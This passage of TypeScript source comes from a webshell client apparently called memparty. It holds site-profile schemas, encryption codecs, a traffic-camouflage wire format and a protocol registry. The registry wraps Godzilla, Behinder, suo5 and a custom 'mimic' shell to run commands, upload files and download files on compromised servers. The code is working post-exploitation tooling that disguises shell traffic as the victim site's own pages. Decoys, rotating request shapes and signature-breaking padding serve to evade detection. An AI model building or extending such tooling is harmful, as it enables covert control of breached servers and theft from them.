ARRAY of them (`request: [...]`) —\n * the client picks one at random per request, so the request shape varies\n * the same way the response skins do.\n */\nexport interface ProfileRequest {\n /** Field that carries the ciphertext (e.g. \"verCode\"). */\n secretField: string;\n /** Where the ciphertext goes: form body (default), URL query, or a header. */\n secretIn?: \"body\" | \"query\" | \"header\";\n /**\n * Body serialization when secretIn=body: \"form\" (default, url-encoded) or\n * \"json\" (a JSON object with Content-Type application/json — for API sites\n * whose dominant traffic is JSON XHR). Ignored when bodyTemplate is set.\n */\n bodyStyle?: \"form\" | \"json\";\n /**\n * Full request body with the literal placeholder `{{payload}}` where the\n * ciphertext goes (takes precedence over bodyStyle; secretIn must be body).\n * Any text format — an OpenAI-style chat JSON, a GraphQL envelope, an XML\n * SOAP message, a multipart/form-data body (pair it with a Content-Type\n * header carrying the same boundary). Decoy macros {{hex:N}}, {{b64:N}},\n * {{uuid}}, {{ts}}, {{int:A:B}} are rendered per request.\n */\n bodyTemplate?: string;\n /** Decoy fields sent alongside (e.g. csrftoken/j_username/agreement). */\n fields?: ProfileFormField[];\n /** Extra/override request headers for this shape (e.g. Accept). */\n headers?: Record<string, string>;\n /** Relative rotation weight (default 1) when `request` is an array. */\n weight?: number;\n}\n\n/**\n * Infer the Content-Type a bodyTemplate implies when the shape doesn't set\n * one explicitly in headers. The client sends this CT and the custom build\n * derives the filter's body-read allowlist from the same inference — the\n * two sides must agree, hence one shared helper.\n */\nexport function inferBodyTemplateContentType(bodyTemplate: string): string | null {\n const t = bodyTemplate.trimStart();\n if (t.startsWith(\"--\")) return \"multipart/form-data\";\n if (t.startsWith(\"{\") || t.startsWith(\"[\")) return \"application/json\";\n if (t.startsWith(\"<\")) return \"text/xml\";\n return null;\n}\n\n/**\n * How the ciphertext is produced and hidden (the mimic codec menu).\n * All fields optional — a profile without `cipher` speaks the original\n * mimic wire format (aes-ecb + base64 + js-var marker).\n *\n * NOTE: the cipher is BAKED INTO the filter at `memparty custom build`\n * time. Editing it in the profile afterwards means the client and the\n * injected filter no longer match — rebuild and re-inject.\n */\nexport interface ProfileCipher {\n /** Cipher for the payload: AES/ECB (legacy), AES/CBC with random IV, or cyclic XOR. */\n algorithm?: \"aes-ecb\" | \"aes-cbc\" | \"xor\";\n /** Text encoding of the ciphertext bytes. */\n encoding?: \"base64\" | \"base64url\" | \"hex\";\n /**\n * Append key-derived-length (0-15) random alnum garbage after the encoded\n * ciphertext — Behinder's aes_with_magic trick against length signatures.\n */\n padTail?: boolean;\n /** How the response hides the ciphertext inside the cover page. */\n marker?: \"js-var\" | \"html-comment\";\n}\n\nexport interface SiteProfile {\n name: string;\n /** Origin the profile describes, e.g. \"http://192.0.2.1:8080\". */\n site: string;\n createdAt: string;\n /** Response skins; the server rotates among them per response. */\n templates?: ProfileTemplate[];\n /** Legacy single-template fields — accepted on load, normalized by profileTemplates(). */\n title?: string;\n template?: string;\n contentType?: string;\n /** The site's path vocabulary, e.g. [\"/api/\", \"/news/\"]. */\n paths: string[];\n /** Request shape(s): one object, or an array the client rotates among. */\n request?: ProfileRequest | ProfileRequest[];\n /** Wire codec selection (baked into the filter at build time). */\n cipher?: ProfileCipher;\n}\n\n/** The effective template list: `templates[]` if present, else the legacy single triple. */\nexport function profileTemplates(profile: SiteProfile): ProfileTemplate[] {\n if (Array.isArray(profile.templates) && profile.templates.length > 0) {\n return profile.templates;\n }\n if (profile.template) {\n return [\n {\n title: profile.title ?? \"\",\n template: profile.template,\n contentType: profile.contentType ?? \"text/html; charset=utf-8\",\n },\n ];\n }\n return [];\n}\n\n/** The effective request-shape list (empty when the profile has none). */\nexport function profileRequests(profile: SiteProfile): ProfileRequest[] {\n if (!profile.request) return [];\n return Array.isArray(profile.request) ? profile.request : [profile.request];\n}\n\n/** Pick one request shape at random, honoring `weight` (default 1). */\nexport function pickRequestShape(requests: ProfileRequest[]): ProfileRequest | undefined {\n if (requests.length === 0) return undefined;\n const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);\n let roll = Math.random() * total;\n for (const r of requests) {\n roll -= r.weight ?? 1;\n if (roll <= 0) return r;\n }\n return requests[requests.length - 1]!;\n}\n\nconst NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;\n\n/** Where the ciphertext goes inside a cover template (any text format). */\nexport const PAYLOAD_PLACEHOLDER = \"{{payload}}\";\n\nexport function profilesDir(): string {\n const override = process.env.MEMPARTY_PROFILES;\n return override ? override : join(homedir(), \".memparty\", \"profiles\");\n}\n\nexport function profilePath(name: string): string {\n return join(profilesDir(), `${name}.json`);\n}\n\n/** Throw a descriptive error on any schema problem. */\nexport function validateProfile(profile: SiteProfile): void {\n if (!NAME_RE.test(profile.name)) {\n throw new Error(\n `invalid profile name ${JSON.stringify(profile.name)} — use letters, digits, '.', '_', '-'`,\n );\n }\n if (!profile.site || !/^https?:\\/\\//.test(profile.site)) {\n throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);\n }\n const templates = profileTemplates(profile);\n if (templates.length === 0) {\n throw new Error(\"profile needs at least one template (templates[] or legacy template)\");\n }\n templates.forEach((t, i) => {\n // a {{payload}} placeholder makes any text format usable; without it the\n // template must be an HTML page (the marker fragment needs </body>)\n if (!t.template || (!t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\\s+html|<html|<head/i.test(t.template))) {\n throw new Error(\n `templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`,\n );\n }\n if (!t.contentType) {\n throw new Error(`templates[${i}].contentType is required (e.g. \"text/html; charset=utf-8\")`);\n }\n });\n if (!Array.isArray(profile.paths)) {\n throw new Error(\"profile.paths must be an array (may be empty)\");\n }\n for (const [ri, req] of profileRequests(profile).entries()) {\n if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {\n throw new Error(`request[${ri}].secretField must be a form-field name`);\n }\n if (req.secretIn !== undefined && ![\"body\", \"query\", \"header\"].includes(req.secretIn)) {\n throw new Error(`request[${ri}].secretIn must be body | query | header`);\n }\n if (req.bodyStyle !== undefined && ![\"form\", \"json\"].includes(req.bodyStyle)) {\n throw new Error(`request[${ri}].bodyStyle must be form | json`);\n }\n if (req.bodyTemplate !== undefined) {\n if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {\n throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);\n }\n if (req.secretIn !== undefined && req.secretIn !== \"body\") {\n throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);\n }\n }\n if (req.headers !== undefined) {\n for (const [k, v] of Object.entries(req.headers)) {\n if (typeof v !== \"string\" || !k) {\n throw new Error(`request[${ri}].headers must be a string map`);\n }\n }\n }\n for (const [i, f] of (req.fields ?? []).entries()) {\n if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {\n throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);\n }\n if (f.name === req.secretField) {\n throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);\n }\n }\n }\n if (profile.cipher !== undefined) {\n const c = profile.cipher;\n if (c.algorithm !== undefined && ![\"aes-ecb\", \"aes-cbc\", \"xor\"].includes(c.algorithm)) {\n throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);\n }\n if (c.encoding !== undefined && ![\"base64\", \"base64url\", \"hex\"].includes(c.encoding)) {\n throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);\n }\n if (c.marker !== undefined && ![\"js-var\", \"html-comment\"].includes(c.marker)) {\n throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);\n }\n if (c.padTail !== undefined && typeof c.padTail !== \"boolean\") {\n throw new Error(\"cipher.padTail must be a boolean\");\n }\n }\n}\n\nexport function saveProfile(profile: SiteProfile): void {\n validateProfile(profile);\n const dir = profilesDir();\n mkdirSync(dir, { recursive: true });\n writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}\\n`, \"utf8\");\n}\n\nexport function loadProfile(name: string): SiteProfile {\n const path = profilePath(name);\n if (!existsSync(path)) {\n throw new Error(\n `unknown profile ${JSON.stringify(name)} — scaffold one with 'memparty profile init ${name} --site <origin>' ` +\n `and fill in the template/paths by hand (stored: ${listProfiles().join(\", \") || \"(none)\"})`,\n );\n }\n const profile = JSON.parse(readFileSync(path, \"utf8\")) as SiteProfile;\n validateProfile(profile);\n return profile;\n}\n\nexport function listProfiles(): string[] {\n const dir = profilesDir();\n if (!existsSync(dir)) return [];\n return readdirSync(dir)\n .filter((f) => f.endsWith(\".json\"))\n .map((f) => f.slice(0, -\".json\".length))\n .sort();\n}\n\n/** An empty-but-valid skeleton for hand-authoring (`memparty profile init`). */\nexport function profileSkeleton(name: string, site: string): SiteProfile {\n return {\n name,\n site: site.replace(/\\/+$/, \"\"),\n createdAt: new Date().toISOString(),\n templates: [\n {\n title: \"\",\n template: \"<!DOCTYPE html>\\n<html>\\n<head>\\n<meta charset=\\\"UTF-8\\\">\\n<title></title>\\n</head>\\n<body>\\n</body>\\n</html>\\n\",\n contentType: \"text/html; charset=utf-8\",\n },\n ],\n paths: [],\n };\n}\n","/**\n * Mimic wire codecs — the selectable half of the mimic protocol.\n *\n * The site profile's `cipher` section picks how the ciphertext is produced\n * and hidden; every option is implemented twice, once here (TypeScript, used\n * by the client and the mock server) and once as a Java snippet in\n * src/custom/java-template.ts (compiled into the injected filter). The two\n * halves are pinned together by the cross-language tests in\n * src/custom/java-probe.test.ts — change one side and the other must follow.\n *\n * The pipeline is the same in both directions:\n * encrypt: bytes -> cipher -> encoding -> padTail\n * decrypt: strip padTail -> encoding^-1 -> cipher^-1\n *\n * A profile without a `cipher` section gets LEGACY_CIPHER, which is\n * byte-identical to the original mimic wire format — filters injected before\n * this menu existed keep working.\n */\nimport { createCipheriv, createDecipheriv, randomBytes } from \"node:crypto\";\n\nimport type { ProfileCipher } from \"../core/site-profile.js\";\nimport {\n aesEcbDecrypt,\n aesEcbEncrypt,\n base64UrlDecode,\n base64UrlEncode,\n md5Hex,\n} from \"./crypto.js\";\n\nexport type CipherAlgorithm = NonNullable<ProfileCipher[\"algorithm\"]>;\nexport type CipherEncoding = NonNullable<ProfileCipher[\"encoding\"]>;\nexport type ResponseMarker = NonNullable<ProfileCipher[\"marker\"]>;\n\nexport const CIPHER_ALGORITHMS: CipherAlgorithm[] = [\"aes-ecb\", \"aes-cbc\", \"xor\"];\nexport const CIPHER_ENCODINGS: CipherEncoding[] = [\"base64\", \"base64url\", \"hex\"];\nexport const RESPONSE_MARKERS: ResponseMarker[] = [\"js-var\", \"html-comment\"];\n\n/** A fully-resolved cipher selection (every field present). */\nexport interface MimicCipher {\n algorithm: CipherAlgorithm;\n encoding: CipherEncoding;\n padTail: boolean;\n marker: ResponseMarker;\n}\n\n/** The original mimic wire format: AES/ECB + base64 + JS-variable marker. */\nexport const LEGACY_CIPHER: MimicCipher = {\n algorithm: \"aes-ecb\",\n encoding: \"base64\",\n padTail: false,\n marker: \"js-var\",\n};\n\n/** Fill the profile's partial `cipher` section with the legacy defaults. */\nexport function resolveCipher(partial?: ProfileCipher): MimicCipher {\n return { ...LEGACY_CIPHER, ...(partial ?? {}) };\n}\n\n// ---------- crypto ----------\n\nfunction xorCrypt(data: Buffer, key: Buffer): Buffer {\n const out = Buffer.alloc(data.length);\n for (let i = 0; i < data.length; i++) out[i] = data[i]! ^ key[i % key.length]!;\n return out;\n}\n\n/**\n * Encrypt/decrypt raw bytes. `aesKey` is the 16-char md5-derived key (same\n * derivation as Godzilla). aes-cbc prepends a random 16-byte IV; xor cycles\n * the key bytes — both must stay in sync with the Java snippets.\n */\nexport function crypt(data: Buffer, aesKey: string, enc: boolean, algorithm: CipherAlgorithm): Buffer {\n switch (algorithm) {\n case \"aes-ecb\":\n return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);\n case \"aes-cbc\": {\n const key = Buffer.from(aesKey, \"utf8\");\n if (enc) {\n const iv = randomBytes(16);\n const c = createCipheriv(\"aes-128-cbc\", key, iv);\n return Buffer.concat([iv, c.update(data), c.final()]);\n }\n const d = createDecipheriv(\"aes-128-cbc\", key, data.subarray(0, 16));\n return Buffer.concat([d.update(data.subarray(16)), d.final()]);\n }\n case \"xor\":\n return xorCrypt(data, Buffer.from(aesKey, \"utf8\"));\n }\n}\n\n// ---------- encoding ----------\n\nfunction encodeBytes(data: Buffer, encoding: CipherEncoding): string {\n switch (encoding) {\n case \"base64\":\n return data.toString(\"base64\");\n case \"base64url\":\n return base64UrlEncode(data);\n case \"hex\":\n return data.toString(\"hex\");\n }\n}\n\nfunction decodeString(text: string, encoding: CipherEncoding): Buffer {\n switch (encoding) {\n case \"base64\":\n return Buffer.from(text, \"base64\");\n case \"base64url\":\n return base64UrlDecode(text);\n case \"hex\":\n return Buffer.from(text, \"hex\");\n }\n}\n\n// ---------- padTail ----------\n\n/**\n * Length of the random-garbage tail, derived from the key so both sides\n * compute it identically (0-15). Behinder's `aes_with_magic` transport uses\n * the same trick: appending junk of a key-derived length breaks the fixed\n * length signature of the ciphertext.\n */\nexport function padTailLength(aesKey: string): number {\n return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;\n}\n\n/** Alnum only — the padded value must stay legal in query strings and headers. */\nconst PAD_ALPHABET = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\nfunction appendPad(text: string, aesKey: string): string {\n const n = padTailLength(aesKey);\n if (n === 0) return text;\n const raw = randomBytes(n);\n let tail = \"\";\n for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i]! % PAD_ALPHABET.length];\n return text + tail;\n}\n\nfunction stripPad(text: string, aesKey: string): string {\n const n = padTailLength(aesKey);\n return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));\n}\n\n// ---------- field transforms (requests and responses both ride these) ----------\n\n/** plaintext -> ciphertext as it appears on the wire. */\nexport function encryptField(\n plaintext: Buffer,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): string {\n let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);\n if (cipher.padTail) out = appendPad(out, aesKey);\n return out;\n}\n\n/** wire value -> plaintext. Throws on garbage (wrong key / not our traffic). */\nexport function decryptField(\n value: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer {\n let text = value;\n if (cipher.padTail) text = stripPad(text, aesKey);\n return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);\n}\n\n// ---------- response markers ----------\n\nexport interface ResponseMarkers {\n /** Left delimiter of the ciphertext inside the cover page. */\n left: string;\n /** Right delimiter of the ciphertext. */\n right: string;\n /** Wrap the ciphertext into the fragment injected into the cover page. */\n wrap(payload: string): string;\n}\n\n/**\n * Per-shell response markers. The 5-hex digest of pass+key keeps every\n * shell's delimiters unique; the style selects how the fragment hides in the\n * cover page (a JS assignment vs an HTML comment).\n */\nexport function deriveMarkers(\n pass: string,\n secretKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): ResponseMarkers {\n const id = md5Hex(pass + secretKey).slice(0, 5);\n if (cipher.marker === \"html-comment\") {\n const left = `<!--Re${id}_config:`;\n return { left, right: \"-->\", wrap: (p) => `${left}${p}-->` };\n }\n const left = `var Re${id}_config=\"`;\n return { left, right: '\";', wrap: (p) => `<script>${left}${p}\";</script>` };\n}\n","/**\n * Wire format shared by the mimic protocol's client (mimic.ts) and the mock\n * server (mimic-server.ts) — both sides must derive byte-identical values.\n *\n * The design borrows from Godzilla-ekp (see scratch/ekp analysis):\n * - request: POST form body `pass=<urlencode(base64(AES/ECB(data)))>`\n * - response: a full HTML page with the ciphertext embedded in a JS\n * assignment `var Re<md5(pass+key)[0:5]>_config=\"<base64>\";`\n * so the delimiters differ per shell and the page validates\n * as ordinary HTML/JS.\n * - crypto: AES/ECB/PKCS5Padding, key = md5(secretKey)[0:16] — same\n * derivation as Godzilla.\n *\n * What mimic adds on top: the HTML page is not hand-written — it is the\n * target site's own page, learned by `memparty profile` (site-profile.ts).\n *\n * The crypto/encoding/marker layer is selectable per profile — see\n * mimic-codecs.ts. This module keeps the original helpers (legacy defaults)\n * so pre-codec filters and tests keep working unchanged.\n */\nimport { md5Hex, md5Key16 } from \"./crypto.js\";\nimport {\n LEGACY_CIPHER,\n decryptField as codecDecryptField,\n encryptField as codecEncryptField,\n type MimicCipher,\n} from \"./mimic-codecs.js\";\nimport { randomBytes, randomInt, randomUUID } from \"node:crypto\";\n\n/** AES key derivation, identical on both sides. */\nexport function deriveAesKey(secretKey: string): string {\n return md5Key16(secretKey);\n}\n\n/**\n * Render placeholders in a decoy field value:\n * {{hex:N}} N hex chars {{b64:N}} N base64url chars\n * {{uuid}} a fresh UUID {{ts}} current unix seconds\n * {{int:A:B}} random integer in [A, B]\n */\nexport function renderFieldValue(value: string): string {\n return value\n .replaceAll(/\\{\\{hex:(\\d+)\\}\\}/g, (_m, n) =>\n randomBytes(Math.ceil(Number(n) / 2))\n .toString(\"hex\")\n .slice(0, Number(n)),\n )\n .replaceAll(/\\{\\{b64:(\\d+)\\}\\}/g, (_m, n) =>\n randomBytes(Math.ceil((Number(n) * 3) / 4))\n .toString(\"base64url\")\n .slice(0, Number(n)),\n )\n .replaceAll(/\\{\\{uuid\\}\\}/g, () => randomUUID())\n .replaceAll(/\\{\\{ts\\}\\}/g, () => String(Math.floor(Date.now() / 1000)))\n .replaceAll(/\\{\\{int:(\\d+):(\\d+)\\}\\}/g, (_m, a, b) =>\n String(randomInt(Number(a), Number(b) + 1)),\n );\n}\n\n/**\n * Left delimiter of the response ciphertext: `var Re<a1b2c>_config=\"`.\n * Derived from md5(pass+key)[0:5], so every shell gets unique markers.\n */\nexport function deriveLeftMarker(pass: string, secretKey: string): string {\n return `var Re${md5Hex(pass + secretKey).slice(0, 5)}_config=\"`;\n}\n\n/** Right delimiter of the response ciphertext (legacy js-var marker). */\nexport const RIGHT_MARKER = '\";';\n\n/** Encrypt + encode one request/response field. */\nexport function encryptField(\n plaintext: Buffer,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): string {\n return codecEncryptField(plaintext, aesKey, cipher);\n}\n\n/** Decode + decrypt one field. Throws on garbage. */\nexport function decryptField(\n value: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer {\n return codecDecryptField(value, aesKey, cipher);\n}\n\n/** Assemble a form-urlencoded body (values already raw; encoding happens here). */\nexport function buildFormBody(fields: Array<{ name: string; value: string }>): Buffer {\n return Buffer.from(\n fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join(\"&\"),\n \"utf8\",\n );\n}\n\n/** Assemble a JSON object body (values already raw; stringified here). */\nexport function buildJsonBody(fields: Array<{ name: string; value: string }>): Buffer {\n const obj: Record<string, string> = {};\n for (const f of fields) obj[f.name] = f.value;\n return Buffer.from(JSON.stringify(obj), \"utf8\");\n}\n\n/**\n * Client side: render a profile bodyTemplate — the ciphertext goes where\n * `{{payload}}` sits, decoy macros ({{hex:N}} etc.) are rendered too.\n * Any text format: chat-API JSON, GraphQL, XML, multipart (the boundary is\n * just literal text in the template, mirrored in the Content-Type header).\n */\nexport function renderBodyTemplate(template: string, payload: string): Buffer {\n return Buffer.from(renderFieldValue(template.replaceAll(\"{{payload}}\", payload)), \"utf8\");\n}\n\nfunction escapeRegExp(s: string): string {\n return s.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\n\n/**\n * Server side: extract and decrypt the command from a JSON body.\n * Cipher values never contain quotes/escapes, so a plain field match is\n * enough — no full JSON parser needed. Null when the field isn't ours.\n */\nexport function decodeJsonBody(\n body: Buffer,\n pass: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer | null {\n const text = body.toString(\"utf8\");\n const m = new RegExp(`\"${escapeRegExp(pass)}\"\\\\s*:\\\\s*\"([^\"]*)\"`).exec(text);\n if (!m) return null;\n try {\n return decryptField(m[1]!, aesKey, cipher);\n } catch {\n return null;\n }\n}\n\n/**\n * Server side: extract and decrypt from a multipart/form-data body —\n * the value follows the part headers of the `name=\"field\"` part.\n */\nexport function decodeMultipartBody(\n body: Buffer,\n pass: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer | null {\n const text = body.toString(\"utf8\");\n const m = new RegExp(`name=\"${escapeRegExp(pass)}\"[^\\\\n]*\\\\r?\\\\n(\\\\r?\\\\n|[^\\\\n]*\\\\r?\\\\n)*\\\\r?\\\\n([^\\\\r\\\\n]*)`).exec(text);\n if (!m) return null;\n try {\n return decryptField(m[2]!, aesKey, cipher);\n } catch {\n return null;\n }\n}\n\n/** Server side: extract and decrypt from an XML body — `<field>value</field>`. */\nexport function decodeXmlBody(\n body: Buffer,\n pass: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer | null {\n const text = body.toString(\"utf8\");\n const m = new RegExp(`<${escapeRegExp(pass)}>([^<]*)</${escapeRegExp(pass)}>`).exec(text);\n if (!m) return null;\n try {\n return decryptField(m[1]!, aesKey, cipher);\n } catch {\n return null;\n }\n}\n\n/**\n * Server side: one probe over a raw body of unknown shape — tries every\n * anchor style (JSON field, multipart part, XML tag). The Java filter twins\n * this with jsonField/multipartField/xmlField.\n */\nexport function decodeAnyBody(\n body: Buffer,\n pass: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer | null {\n return (\n decodeJsonBody(body, pass, aesKey, cipher) ??\n decodeMultipartBody(body, pass, aesKey, cipher) ??\n decodeXmlBody(body, pass, aesKey, cipher)\n );\n}\n\n/** Client side: build the POST form body carrying `plaintext`. */\nexport function encodeRequestBody(\n pass: string,\n plaintext: Buffer,\n aesKey: string,\n decoys: Array<{ name: string; value: string }> = [],\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer {\n const fields = decoys.map((f) => ({ name: f.name, value: renderFieldValue(f.value) }));\n fields.push({ name: pass, value: encryptField(plaintext, aesKey, cipher) });\n return buildFormBody(fields);\n}\n\n/**\n * Server side: extract and decrypt the command from a form body.\n * Returns null when the body does not carry the pass parameter (i.e. the\n * request is an ordinary browser POST, not a shell request).\n */\nexport function decodeRequestBody(\n body: Buffer,\n pass: string,\n aesKey: string,\n cipher: MimicCipher = LEGACY_CIPHER,\n): Buffer | null {\n const text = body.toString(\"utf8\");\n for (const pair of text.split(\"&\")) {\n const eq = pair.indexOf(\"=\");\n if (eq <= 0) continue;\n if (pair.slice(0, eq) !== pass) continue;\n const value = decodeURIComponent(pair.slice(eq + 1));\n try {\n return decryptField(value, aesKey, cipher);\n } catch {\n return null;\n }\n }\n return null;\n}\n\n/**\n * Inject a ready-made fragment (marker + ciphertext) into the HTML\n * template — right before `</body>` when present, else appended.\n */\nexport function injectFragment(templateHtml: string, fragment: string): string {\n const idx = templateHtml.toLowerCase().lastIndexOf(\"</body>\");\n if (idx === -1) return templateHtml + fragment;\n return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);\n}\n\n/**\n * Server side: wrap `b64Cipher` in the JS assignment and inject it into the\n * HTML template — right before `</body>` when present, else appended.\n */\nexport function injectIntoTemplate(\n templateHtml: string,\n b64Cipher: string,\n leftMarker: string,\n): string {\n return injectFragment(templateHtml, `<script>${leftMarker}${b64Cipher}${RIGHT_MARKER}</script>`);\n}\n\n/** Client side: pull the ciphertext back out of the HTML page. */\nexport function extractFromHtml(\n html: string,\n leftMarker: string,\n rightMarker: string = RIGHT_MARKER,\n): string | null {\n return extractBetween(html, leftMarker, rightMarker);\n}\n\n/** Extract the value between two literal bounds (empty right = to end of text). */\nexport function extractBetween(text: string, left: string, right: string): string | null {\n const start = text.indexOf(left);\n if (start === -1) return null;\n const valueStart = start + left.length;\n if (right === \"\") return text.slice(valueStart);\n const end = text.indexOf(right, valueStart);\n if (end === -1) return null;\n return text.slice(valueStart, end);\n}\n\nexport interface PayloadDelimiters {\n left: string;\n right: string;\n}\n\n/**\n * One extraction candidate per cover template. A template carrying\n * {{payload}} yields its exact left/right context (any text format — the\n * cipher alphabet never contains JSON/HTML delimiters); templates without a\n * placeholder share the marker pair (their fragment is marker-injected).\n * The client tries each candidate until one matches, so template rotation\n * on the server side never breaks extraction.\n */\nexport function templateDelimiters(\n templates: Array<{ template: string }>,\n markers: { left: string; right: string },\n): PayloadDelimiters[] {\n const out: PayloadDelimiters[] = [];\n let markerUsed = false;\n for (const t of templates) {\n const idx = t.template.indexOf(\"{{payload}}\");\n if (idx !== -1) {\n out.push({\n left: t.template.slice(0, idx),\n right: t.template.slice(idx + \"{{payload}}\".length),\n });\n } else if (!markerUsed) {\n out.push({ left: markers.left, right: markers.right });\n markerUsed = true;\n }\n }\n if (out.length === 0) out.push({ left: markers.left, right: markers.right });\n return out;\n}\n","/**\n * Protocol registry — the single place that knows which shell protocols\n * exist and what each one can do.\n *\n * Commands (connect/exec/upload/download) no longer switch on a hardcoded\n * tool name: they look the protocol up here and call through the\n * `ShellProtocol` interface. The three built-in tools are registered as\n * thin adapters — their modules (`godzilla.ts` etc.) are untouched — and\n * plugins like `mimic` register the same way.\n */\nimport type { ResolvedConnection } from \"../core/targets.js\";\nimport {\n downloadBehinder,\n execBehinder,\n testBehinder,\n uploadBehinder,\n} from \"./behinder.js\";\nimport {\n downloadGodzilla,\n execGodzilla,\n testGodzilla,\n uploadGodzilla,\n} from \"./godzilla.js\";\nimport { testSuo5, type Suo5Mode } from \"./suo5.js\";\nimport { mimicProtocol } from \"./mimic.js\";\nimport type {\n CommonConnectOptions,\n ConnectTestResult,\n DownloadResult,\n ExecResult,\n TransferResult,\n} from \"./types.js\";\n\n/** Per-protocol extras collected from CLI flags / saved targets. */\nexport interface ProtocolOptions {\n /** godzilla: remote OS family for the shell wrapper. */\n os?: \"auto\" | \"windows\" | \"linux\";\n /** suo5: protocol variant. */\n suo5Mode?: Suo5Mode;\n /** godzilla: charset for non-ASCII remote paths. */\n remoteCharset?: string;\n /** mimic: site profile name (see 'memparty profile'). */\n profile?: string;\n /** mimic: randomize the request path from the site profile. */\n dynamicPath?: boolean;\n /** godzilla: Upgrade protocol from the generated shell class name. */\n upgradeProtocol?: string;\n}\n\n/** Everything a protocol handler needs for one operation. */\nexport interface ProtocolRequest {\n conn: ResolvedConnection;\n common: CommonConnectOptions;\n options: ProtocolOptions;\n}\n\nexport type Capability = \"exec\" | \"upload\" | \"download\";\n\nexport interface ShellProtocol {\n readonly name: string;\n /** One-line summary shown in help/listing. */\n readonly description?: string;\n /** Handshake / credentials check. */\n test(req: ProtocolRequest): Promise<ConnectTestResult>;\n exec?(req: ProtocolRequest, command: string): Promise<ExecResult>;\n upload?(req: ProtocolRequest, remotePath: string, data: Buffer): Promise<TransferResult>;\n download?(req: ProtocolRequest, remotePath: string): Promise<DownloadResult>;\n}\n\nconst protocols = new Map<string, ShellProtocol>();\n\nexport function registerProtocol(protocol: ShellProtocol): void {\n protocols.set(protocol.name, protocol);\n}\n\nexport function getProtocol(name: string): ShellProtocol | undefined {\n return protocols.get(name);\n}\n\n/** Names of registered protocols, optionally filtered by capability. */\nexport function protocolNames(capability?: Capability): string[] {\n const all = [...protocols.values()];\n const usable = capability ? all.filter((p) => p[capability] !== undefined) : all;\n return usable.map((p) => p.name);\n}\n\n/**\n * Look up a protocol or throw an error naming the available ones — this is\n * the message a user sees for a typo'd `--tool`.\n */\nexport function requireProtocol(name: string): ShellProtocol {\n const protocol = getProtocol(name);\n if (!protocol) {\n throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(\", \")})`);\n }\n return protocol;\n}\n\n/** Error message when a protocol lacks the requested capability. */\nexport function unsupportedMessage(protocol: ShellProtocol, capability: Capability): string {\n return `protocol '${protocol.name}' does not support ${capability}`;\n}\n\n// ---- built-in adapters (wrap the existing modules, internals unchanged) ----\n\nconst godzillaProtocol: ShellProtocol = {\n name: \"godzilla\",\n description: \"Godzilla JAVA_AES_BASE64 shell\",\n test: ({ conn, common }) =>\n testGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", common),\n exec: ({ conn, common, options }, command) =>\n execGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", command, {\n ...common,\n os: options.os,\n }),\n upload: ({ conn, common, options }, remotePath, data) =>\n uploadGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", remotePath, data, {\n ...common,\n remoteCharset: options.remoteCharset,\n }),\n download: ({ conn, common, options }, remotePath) =>\n downloadGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", remotePath, {\n ...common,\n remoteCharset: options.remoteCharset,\n }),\n};\n\nconst behinderProtocol: ShellProtocol = {\n name: \"behinder\",\n description: \"Behinder AES shell\",\n test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? \"rebeyond\", common),\n exec: ({ conn, common }, command) =>\n execBehinder(conn.url, conn.pass ?? \"rebeyond\", command, common),\n upload: ({ conn, common }, remotePath, data) =>\n uploadBehinder(conn.url, conn.pass ?? \"rebeyond\", remotePath, data, common),\n download: ({ conn, common }, remotePath) =>\n downloadBehinder(conn.url, conn.pass ?? \"rebeyond\", remotePath, common),\n};\n\nconst suo5Protocol: ShellProtocol = {\n name: \"suo5\",\n description: \"suo5 HTTP tunnel (connect test only)\",\n test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode 